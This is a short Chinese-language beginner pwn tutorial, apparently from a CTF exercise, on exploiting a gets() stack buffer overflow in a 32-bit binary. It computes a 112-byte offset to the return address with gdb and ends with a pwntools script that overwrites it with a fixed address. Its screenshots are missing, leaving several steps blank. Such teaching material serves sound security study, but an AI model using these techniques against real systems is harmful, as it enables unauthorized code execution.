[pwn入门] 1. get函数缓冲区溢出

查看保护

寻找漏洞

ida打开elf文件：

gets函数存在缓冲区溢出漏洞，我们可以通过超长的字符串来覆盖缓冲区，从而修改ROP。为了达到这个目的，我们需要首先
计算，输入的&s的堆栈地址位置距离堆栈的底部ebp的位置。Ebp的下一个地址，就是记录了返回地址的位置

s距离返回地址的偏移

gdb打开，并设置断点。

$esp : 0xffffce50
$ebp : 0xffffced8

徒手计算

s的位置 esp+80h-64h = esp+1c =FFFFCE6C
与ebp的差为 108。因为是32位，返回地址位置为108+4 = 112

工具计算

生成字符串：

gdb输入字符串：

查询ebp中的内容：

108与之前手工计算S距离ebp的偏移相同

编写py

from pwn import *

pwn = process("./pwn1")
pwn.recv()
payload = 'A'*(112)+p32(0x0804863A)
pwn.sendline(payload)
pwn.interactive()

end

---

参考文章
Linux PWN从入门到熟练